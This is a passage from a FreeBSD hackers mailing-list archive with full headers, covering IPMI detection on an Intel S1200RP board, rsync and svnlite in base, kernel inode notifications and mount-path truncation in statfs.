(mutex, CV) >> in libthr, then I don't think there will be a problem. > > Could you, please, clarify what do you consider not neccessary ? > The merge, the (unrelated) ABI change, or coordination ? Sorry, I should have elided parts of the email to which I was not responding. I mean merging libthr into libc. I think we should wait until we change mutex, CV, and perhaps pthread to be structs, then see if merging libthr into libc is still necessary. -- DE From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 19:55:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DAB96D60; Fri, 11 Apr 2014 19:55:22 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id B20F91685; Fri, 11 Apr 2014 19:55:22 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 509C0B918; Fri, 11 Apr 2014 15:55:20 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org, sbruno@freebsd.org Subject: Re: IPMI is broken on Intel S1200RP Board Date: Fri, 11 Apr 2014 15:07:58 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <1397232539.1434.6.camel@powernoodle.corp.yahoo.com> In-Reply-To: <1397232539.1434.6.camel@powernoodle.corp.yahoo.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <201404111507.58516.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Fri, 11 Apr 2014 15:55:20 -0400 (EDT) Cc: venom X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 19:55:22 -0000 On Friday, April 11, 2014 12:08:59 pm Sean Bruno wrote: > On Fri, 2014-04-11 at 07:47 +0400, venom wrote: > > ppc1: cannot reserve I/O port range > > pcib0: allocated type 4 (0x60-0x60) for rid 0 of atkbdc0 > > pcib0: allocated type 4 (0x64-0x64) for rid 1 of atkbdc0 > > atkbdc0: AT keyboard controller not found > > pcib0: allocated type 4 (0x3f0-0x3f5) for rid 0 of fdc0 > > pcib0: allocated type 4 (0x3f7-0x3f7) for rid 1 of fdc0 > > ppc0: cannot reserve I/O port range > > pci0: driver added > > found-> vendor=0x8086, dev=0x8c22, revid=0x05 > > domain=0, bus=0, slot=31, func=3 > > class=0c-05-00, hdrtype=0x00, mfdev=0 > > cmdreg=0x0143, statreg=0x0280, cachelnsz=0 (dwords) > > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) > > intpin=c, irq=18 > > pci0:0:31:3: reprobing on driver added > > found-> vendor=0x8086, dev=0x8c24, revid=0x05 > > domain=0, bus=0, slot=31, func=6 > > class=11-80-00, hdrtype=0x00, mfdev=0 > > cmdreg=0x0006, statreg=0x0010, cachelnsz=0 (dwords) > > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) > > intpin=c, irq=18 > > powerspec 3 supports D0 D3 current D0 > > MSI supports 1 message > > pci0:0:31:6: reprobing on driver added > > pci1: driver added > > pci2: driver added > > pci0: driver added > > found-> vendor=0x8086, dev=0x8c22, revid=0x05 > > domain=0, bus=0, slot=31, func=3 > > class=0c-05-00, hdrtype=0x00, mfdev=0 > > cmdreg=0x0143, statreg=0x0280, cachelnsz=0 (dwords) > > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) > > intpin=c, irq=18 > > pci0:0:31:3: reprobing on driver added > > found-> vendor=0x8086, dev=0x8c24, revid=0x05 > > domain=0, bus=0, slot=31, func=6 > > class=11-80-00, hdrtype=0x00, mfdev=0 > > cmdreg=0x0006, statreg=0x0010, cachelnsz=0 (dwords) > > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) > > intpin=c, irq=18 > > powerspec 3 supports D0 D3 current D0 > > MSI supports 1 message > > pci0:0:31:6: reprobing on driver added > > pci1: driver added > > pci2: driver added > > > > > I don't see an attach here, so I assume that something is "new" in the > acpi tables on this board. Can you dump the ACPI table somewhere > "acpidump -dt > intel_s1200rp.dsdt" and post it somewhere we can look at > it? > > freebsd.org mailing lists will strip attachments in most cases, so a > pastebin or other link would be best. Linux attached it via smbios (not ACPI) from what I could tell. That should work under FreeBSD as well, but I think it means you want to look at the smbios identify code in the ipmi(4) driver to debug this. The dmidecode info for this particular BMC was posted earlier in the thread already. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 20:30:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B32A7FAC for ; Fri, 11 Apr 2014 20:30:10 +0000 (UTC) Received: from zmail.servaris.com (zmail.servaris.com [107.6.51.160]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "zmail.servaris.com", Issuer "zmail.servaris.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 762BB19A9 for ; Fri, 11 Apr 2014 20:30:10 +0000 (UTC) Received: (qmail 32408 invoked by uid 89); 11 Apr 2014 20:28:52 -0000 Received: from unknown (HELO ?192.168.109.160?) (lbaron@servaris.com@74.213.188.62) by zmail.servaris.com with ESMTPA; 11 Apr 2014 20:28:52 -0000 Message-ID: <53485082.5050208@servaris.com> Date: Fri, 11 Apr 2014 16:28:50 -0400 From: Lanny Baron Organization: Servaris Corporation User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: IPMI is broken on Intel S1200RP Board References: <1397156847.1088.11.camel@powernoodle.corp.yahoo.com> <1397232539.1434.6.camel@powernoodle.corp.yahoo.com> <1397243561.1434.74.camel@powernoodle.corp.yahoo.com> In-Reply-To: <1397243561.1434.74.camel@powernoodle.corp.yahoo.com> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Fri, 11 Apr 2014 20:56:34 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 20:30:10 -0000 Go into bios of the Server Board. Ensure you have valid IP/Netmask/gateway for BMC. On another box, run #ipmitool -H ip.add.re.ss sel list where ip.add.... is the IP of that 'broken s1200rp' ou should get a reply and some data. Regards, +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= Lanny Baron Servaris Corporation High Performance Servers and RAID Systems http://www.servaris.com/ Toll Free: 1.877.963.1900 +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= Y On 14-04-11 03:12 PM, Sean Bruno wrote: > On Fri, 2014-04-11 at 22:42 +0400, Vladimir Laskov wrote: >> >> >> links >> https://bitbucket.org/weec/docs/downloads/dmesg_verbose_boot.log >> https://bitbucket.org/weec/docs/downloads/intel_s1200rp.dsdt >> >> > Wanted to xpost this over to freebsd-acpi too. Since it looks to me > that the IPMI driver isn't getting invoked, I assume that its because of > a variance in ACPI parsing of the relevant IPMI section. > > sean > > >> >> On Fri, Apr 11, 2014 at 8:08 PM, Sean Bruno >> wrote: >> On Fri, 2014-04-11 at 07:47 +0400, venom wrote: >> > ppc1: cannot reserve I/O port range >> > pcib0: allocated type 4 (0x60-0x60) for rid 0 of atkbdc0 >> > pcib0: allocated type 4 (0x64-0x64) for rid 1 of atkbdc0 >> > atkbdc0: AT keyboard controller not found >> > pcib0: allocated type 4 (0x3f0-0x3f5) for rid 0 of fdc0 >> > pcib0: allocated type 4 (0x3f7-0x3f7) for rid 1 of fdc0 >> > ppc0: cannot reserve I/O port range >> > pci0: driver added >> > found-> vendor=0x8086, dev=0x8c22, revid=0x05 >> > domain=0, bus=0, slot=31, func=3 >> > class=0c-05-00, hdrtype=0x00, mfdev=0 >> > cmdreg=0x0143, statreg=0x0280, cachelnsz=0 (dwords) >> > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) >> > intpin=c, irq=18 >> > pci0:0:31:3: reprobing on driver added >> > found-> vendor=0x8086, dev=0x8c24, revid=0x05 >> > domain=0, bus=0, slot=31, func=6 >> > class=11-80-00, hdrtype=0x00, mfdev=0 >> > cmdreg=0x0006, statreg=0x0010, cachelnsz=0 (dwords) >> > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) >> > intpin=c, irq=18 >> > powerspec 3 supports D0 D3 current D0 >> > MSI supports 1 message >> > pci0:0:31:6: reprobing on driver added >> > pci1: driver added >> > pci2: driver added >> > pci0: driver added >> > found-> vendor=0x8086, dev=0x8c22, revid=0x05 >> > domain=0, bus=0, slot=31, func=3 >> > class=0c-05-00, hdrtype=0x00, mfdev=0 >> > cmdreg=0x0143, statreg=0x0280, cachelnsz=0 (dwords) >> > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) >> > intpin=c, irq=18 >> > pci0:0:31:3: reprobing on driver added >> > found-> vendor=0x8086, dev=0x8c24, revid=0x05 >> > domain=0, bus=0, slot=31, func=6 >> > class=11-80-00, hdrtype=0x00, mfdev=0 >> > cmdreg=0x0006, statreg=0x0010, cachelnsz=0 (dwords) >> > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) >> > intpin=c, irq=18 >> > powerspec 3 supports D0 D3 current D0 >> > MSI supports 1 message >> > pci0:0:31:6: reprobing on driver added >> > pci1: driver added >> > pci2: driver added >> > >> >> >> >> I don't see an attach here, so I assume that something is >> "new" in the >> acpi tables on this board. Can you dump the ACPI table >> somewhere >> "acpidump -dt > intel_s1200rp.dsdt" and post it somewhere we >> can look at >> it? >> >> freebsd.org mailing lists will strip attachments in most >> cases, so a >> pastebin or other link would be best. >> >> sean >> >> >> > From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 21:20:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 82C1EC6 for ; Fri, 11 Apr 2014 21:20:39 +0000 (UTC) Received: from mail-qa0-x22f.google.com (mail-qa0-x22f.google.com [IPv6:2607:f8b0:400d:c00::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 435EB1DEA for ; Fri, 11 Apr 2014 21:20:39 +0000 (UTC) Received: by mail-qa0-f47.google.com with SMTP id m5so3836626qaj.20 for ; Fri, 11 Apr 2014 14:20:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=Zai8ULvZN+cWCqGZpsnioUi27p67tjGEvQi+SgIyaGo=; b=e+yVWVBMXz+SsSlWdR7ZVBd47+Poqi+idNVj0teg3dEEHe1K91PO5XxmytoW7dsTgq fAm2h2qU1T61qq9lJGRnFgsV2Cgs2c/5yhGOPUHUh4fPD63dlT2YP7mfFkg3CSVJsYIE EZd7u9FqHOZdZzBW7G2w1X9svf9iz7zetG+jb8RLiv3sqoo+S9Ou/+k7XVQ6IQx1CkyK kHiAnL9kthqsuCnz5EqENeL1KTBX/83kyI+KliHTHrOggj8jNovsuPbKqDyYwZyASrXd QjH6yfzhtfRO7tH9WFcBOy1rf90o+POWaSBGxe9HXVsAyzKvTvkR/FU+Z0g91ui97Q72 /J1A== X-Received: by 10.140.51.14 with SMTP id t14mr30761835qga.50.1397251238321; Fri, 11 Apr 2014 14:20:38 -0700 (PDT) MIME-Version: 1.0 Received: by 10.229.72.131 with HTTP; Fri, 11 Apr 2014 14:20:18 -0700 (PDT) In-Reply-To: <2012148.SzKMgBGQYg@desktop.reztek> References: <2012148.SzKMgBGQYg@desktop.reztek> From: Anton Afanasyev Date: Fri, 11 Apr 2014 14:20:18 -0700 Message-ID: Subject: Re: MITM attacks against portsnap and freebsd-update To: Matthew Rezny X-Mailman-Approved-At: Fri, 11 Apr 2014 21:38:33 +0000 Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 21:20:39 -0000 On Fri, Apr 11, 2014 at 11:04 AM, Matthew Rezny wrote: > The biggest effort would be adding rsync to base, but being that we have > svn(lite) in base it should not be a big deal to add rsync. > I may be too naive and/or just not understand things as well as those who do move code into base, so excuse my ignorance, but why was svnlite moved into base, and why even consider moving rsync into base? Sure, it is nice if the base includes everything needed to allow development of it; it is also a must to be able to update and build your ports. But why include tools that do this, rather than a bootstrap for installing those tools? For developing and updating base, why not include a script that fetches a (sufficiently fresh) snapshot of the ports tree and let the user decide whether they want to use svn or any other port to update their sources? If it is deemed too large a download (a valid concern) - download only svn and its dependencies, possibly even to a ports tree rooted in a location different from /usr/ports, and build svn from that. For keeping ports up to date, why not include a script that fetches a (sufficiently fresh) copy of the ports tree and tell the user that the preferred method to update is rsync; heck, create a port that uses rsync to do what Matthew described above, and /offer/ to install it for the the user from the tree that was just downloaded. Something along the lines of the above would completely remove the need to keep unrelated code in base - and the need to keep it updated - , while still allowing the end user to keep base and ports up to date. Anton From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 22:07:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EF300ACF for ; Fri, 11 Apr 2014 22:07:53 +0000 (UTC) Received: from mail-qc0-x230.google.com (mail-qc0-x230.google.com [IPv6:2607:f8b0:400d:c01::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id ADA701451 for ; Fri, 11 Apr 2014 22:07:53 +0000 (UTC) Received: by mail-qc0-f176.google.com with SMTP id m20so6526529qcx.7 for ; Fri, 11 Apr 2014 15:07:52 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:subject:message-id:mime-version:content-type :content-disposition:user-agent; bh=AzmAF7/1cs9Hp1qWZOqxSu+sk3zKe4Ld5cREKdZ/GZE=; b=QdJ6/Kd9uBIhr/0hi0Sl8ha6xgW+5DMGHKyW9f4T0A2xeEfZm+Hd2dPu45UY3B3H01 MtDHswBeRGnOSjtN2+FGd4dNreDGFjv1iQVRFEeArbBrIa9sNtEkd0AOhXVrz63A7Mb+ l+eXJ5RBYHfG4coBA+06ShaNqHPwaPkAJC/ZqvuMsaexJ9RBhULhu7cLG5JOqJyPHxE2 ALg2VUZBrZkCdLypPQwZ+IR8amQrq84aN2HBo8UV6woWUf8JAEb8/GBRsNqFgvY/UUNO xJBTTA65nle6cBnwCvePjo8wLUigvOhimEHdnrJSQjCRVmKk1iEZofx0gVxPoBgoElnC uINQ== X-Received: by 10.224.114.130 with SMTP id e2mr2352917qaq.53.1397254072889; Fri, 11 Apr 2014 15:07:52 -0700 (PDT) Received: from pwnie.vrt.sourcefire.com (moist.vrt.sourcefire.com. [198.148.79.134]) by mx.google.com with ESMTPSA id x5sm15955515qaj.9.2014.04.11.15.07.50 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Fri, 11 Apr 2014 15:07:50 -0700 (PDT) Date: Fri, 11 Apr 2014 18:07:48 -0400 From: Shawn Webb To: freebsd-hackers@freebsd.org Subject: inode modification notification in kernel Message-ID: <20140411220747.GA7305@pwnie.vrt.sourcefire.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="17pEHd4RhPHOinZp" Content-Disposition: inline X-PGP-Key: http://pgp.mit.edu/pks/lookup?op=vindex&search=0x6A84658F52456EEE User-Agent: Mutt/1.5.23 (2014-03-12) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 22:07:54 -0000 --17pEHd4RhPHOinZp Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hey All, I'm a newb at the kernel API. What's the best way to receive notification of a deletion event of a given inode in the kernel? In userland, I'd use kqueue/kevent. Is that same API available in the kernel? Or is there something different? Thanks, Shawn Webb --17pEHd4RhPHOinZp Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTSGeyAAoJEGqEZY9SRW7uNJYQAI2kTbxhfOt6hHzGoJB4i8ed 4Zm4/RNS1FyiVO1NUKcVpwMWMooIDFtDHLzX6/xl+ibFpN8IXtPxXPcR6XB+lfLr 3avZP59oNwxS51bVu7B9E8DJOWRSvF8htfF/zIJZVUpFP7tfH1tV7oYYvErMgqzr /szC67ltFS54kTogakVD4XlDKZi5QgrEt8G5RBIEEeVLCYKvo9CShHo0CBUrRtRk FJR41I4fto7OIE7ERYJFLoQXV3m9wbAh88cbPOTmsmSqsvOeNQN+96fYHRjZlm0B 4EPKxxKlacMa1d3mRjb47Lo5vufYjHiBy/6d4Xl4KLru3kedZS02pR+G98M/bRu5 R+BvzD4yj028hPhmUMv9GkGRQCpZdM4bfUBz2HexJLHURrLnw51Rea+yDsnGQXXv QDK67mVFNJVX3HpfEOQH58iqZM3KcAlkFLQj+zZx00T/rXdP+faU5gwa/lVQYhjH 6C1dX28Og/c2UoIudo1qiCjg0WFF9lO7AISxwjGRaP7OUfepf9meCg9CS2BCVOhi wIRc3xeBy1HNpJmctxBHWgIHOS1MZPc6OYpJiKKaoS0LwE9dw8NMbTKHVgWsdRRZ QV4zTwm9RfwVDA1gLOVm8Gbp8zYOPl9dTAuhrcyx4NqyYP+3xaSPYKiN6YpSzn5C jghpOpIMxC9xBbsyU0+q =dOZk -----END PGP SIGNATURE----- --17pEHd4RhPHOinZp-- From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 22:33:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6B5AD681 for ; Fri, 11 Apr 2014 22:33:15 +0000 (UTC) Received: from mail-qg0-x231.google.com (mail-qg0-x231.google.com [IPv6:2607:f8b0:400d:c04::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 2F35716C9 for ; Fri, 11 Apr 2014 22:33:15 +0000 (UTC) Received: by mail-qg0-f49.google.com with SMTP id j107so399744qga.36 for ; Fri, 11 Apr 2014 15:33:14 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=a0+dnWCzFIEumh1IySW6ZTfMgW1y7RUJRG+aXZvMROA=; b=ow8AGLZlwIoW9yV0NgyWgEDZezO/rQVXqTOXbbRWJG+2BZmKmkTtWR/ZKQhrP5Kyo2 zG7SqkgS22O/3h/iR9DQ5h34iSU0LmJgHWxWUbREo2TsQDpqV8I6xuGwVp9GCS+LWrLq BgTDgkQ/7dzcooWo8sineO/q/NTtgEz9+OMSf6mgeamOoH/kzPs07hdGmWGNI/oYlEsl hW283o0XjxciiSN+FBqi93W2dzNhx4xMykut9KY1dzmZ329TwA2oH1bAYsSp/gIljrJs yDQFsKDewb1jywT18XaZ6NmjXb98FNtomvHbPBSUCbs6Pi1QjY0ARqy19leWOu1MksLd uZFw== MIME-Version: 1.0 X-Received: by 10.140.86.71 with SMTP id o65mr22360856qgd.67.1397255594346; Fri, 11 Apr 2014 15:33:14 -0700 (PDT) Received: by 10.140.92.56 with HTTP; Fri, 11 Apr 2014 15:33:14 -0700 (PDT) Date: Sat, 12 Apr 2014 02:33:14 +0400 Message-ID: Subject: intpm driver on Intel S1200RP Board From: Vladimir Laskov To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 22:33:15 -0000 Hello I try load intpm driver and see follow part of dmesg output --------------------------------------------------------------------------------- pci0: driver added found-> vendor=0x8086, dev=0x8c22, revid=0x05 domain=0, bus=0, slot=31, func=3 class=0c-05-00, hdrtype=0x00, mfdev=0 cmdreg=0x0543, statreg=0x0280, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=c, irq=18 pci0:0:31:3: reprobing on driver added found-> vendor=0x8086, dev=0x8c24, revid=0x05 domain=0, bus=0, slot=31, func=6 class=11-80-00, hdrtype=0x00, mfdev=0 cmdreg=0x0006, statreg=0x0010, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=c, irq=18 powerspec 3 supports D0 D3 current D0 MSI supports 1 message pci0:0:31:6: reprobing on driver added pci1: driver added pci2: driver added ---------------------------------------------------------------------------------- It is correct ? thanks -- Vladimir Laskov From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 12 01:22:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A495D309 for ; Sat, 12 Apr 2014 01:22:05 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 851931560 for ; Sat, 12 Apr 2014 01:22:05 +0000 (UTC) Received: from freefall.freebsd.org (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.8/8.14.8) with ESMTP id s3C1M5PJ010090 for ; Sat, 12 Apr 2014 01:22:05 GMT (envelope-from bdrewery@freefall.freebsd.org) Received: (from bdrewery@localhost) by freefall.freebsd.org (8.14.8/8.14.8/Submit) id s3C1M5U4010087 for freebsd-hackers@freebsd.org; Sat, 12 Apr 2014 01:22:05 GMT (envelope-from bdrewery) Received: (qmail 35076 invoked from network); 11 Apr 2014 20:22:00 -0500 Received: from unknown (HELO ?10.10.0.24?) (freebsd@shatow.net@10.10.0.24) by sweb.xzibition.com with ESMTPA; 11 Apr 2014 20:22:00 -0500 Message-ID: <5348952A.3080304@FreeBSD.org> Date: Fri, 11 Apr 2014 20:21:46 -0500 From: Bryan Drewery Organization: FreeBSD User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: ambrisko@ambrisko.com Subject: Re: Fix MNAMELEN or reimplement struct statfs X-Enigmail-Version: 1.6 OpenPGP: id=6E4697CF; url=http://www.shatow.net/bryan/bryan2.asc Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="epfBOrRsj5c7RDfRGUfIATCN4kdNdsl8R" Cc: FreeBSD Hackers , kib@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Apr 2014 01:22:05 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --epfBOrRsj5c7RDfRGUfIATCN4kdNdsl8R Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On Tue, Nov 19 21:53:38 UTC 2013 Jilles Tjoelker wrote: > On Mon, Nov 18, 2013 at 11:01:42AM -0800, Doug Ambrisko wrote: >> On Sat, Nov 16, 2013 at 08:31:29PM +0200, Konstantin Belousov wrote: >> | I think that struct mount should have a const char * field where the= >> | non-trimmed path is stored and used for match at unmount. f_mntonnam= e >> | truncation would be only unfortunate user interface glitch. >=20 >> Note that we are not storing the path in mount structure so no structu= res >> have changed which is nice since then we haven't introduced any real >> ABI breakage. So we could MFC this. The match isn't critical since >> umount will fall back to fsid and work. One thing that might be good = to >> do is change umount to try to umount via fsid first and then do the >> match if the fsid failed versus the other way round that it does now. >=20 >> The problem I see is if someone tries to do things based on the parsed= >> output of mount/df then that will fail since the output is truncated. >=20 > As noted in comments in sbin/umount/umount.c, the statfs() call is > deliberately after the mount list checks because it may block forever > for unresponsive NFS servers. It would be unfortunate if hung NFS > filesystems would have to be forcibly unmounted by copy/pasting the fsi= d > from 'mount -v'. =46rom a user perspective, I'd love to see this get committed and MFC'd. It's very odd to have ENAMETOOLONG errors while traversing .zfs/snapshot.= However, this would make the situation worse for poudriere, which is what this particular thread was started on. It does exactly what you worry about, it parses mount(1) output and umounts all descendants for a given path. We do the same thing at my work for our base build system, and I believe FreeNAS is doing something like this. So it's not uncommon.= Or did the situation improve with the latest patch to show the full mount path in mount(1)? We could implement umount -r, but I'm not convinced that is adequate due to unknown use of mount(1) output. We really need the real path exported to userland somehow, and preferably to mount(1) by default to not break scripts. This may not be a clean solution, but couldn't we add another syscall, say getfsmntpath(2), and have mount(1) use both statfs(2) and getfsmntpath(2) to show a proper output? --=20 Regards, Bryan Drewery --epfBOrRsj5c7RDfRGUfIATCN4kdNdsl8R Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQEcBAEBAgAGBQJTSJUxAAoJEDXXcbtuRpfPoHgH/jvncwRHDY9Qlh63Dpt01Yn7 GVcGUb26I2++oLWeFcHMCwzF5suuT9xPG0vdX4OQOJ2VdTBHLc9ZjnpiJ4RlvcgV 5hEGhsvnYvaH8THVVaMqrpjUJN6l1dWf+p04Dz510k5ICMp5h79WB9qXzZbfCl3n 7c9kjHSU0Gb9Fq8s9i0kXl6IQVej+jWOG75N4Z8d5ZR0ln4DY2FD5WovSbK1xnmb xkGnc4njovngQkoSivnLzQfBpgUuLZKQvAF/wlT/MK1Fw8uCt5j91AEVEJenb8uC mpQr1Om06yrPn9jAaKMjbnlFEtvFKoihrYVDbymrUzv/04JKxRh+aT7L5Pm76X0= =Tftw -----END PGP SIGNATURE----- --epfBOrRsj5c7RDfRGUfIATCN4kdNdsl8R-- From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 12 01:55:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CCD6D787 for ; Sat, 12 Apr 2014 01:55:16 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 83EFB179E for ; Sat, 12 Apr 2014 01:55:16 +0000 (UTC) Received: from jre-mbp.elischer.org (ppp121-45-232-70.lns20.per1.internode.on.net [121.45.232.70]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s3C1tBRl005069 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 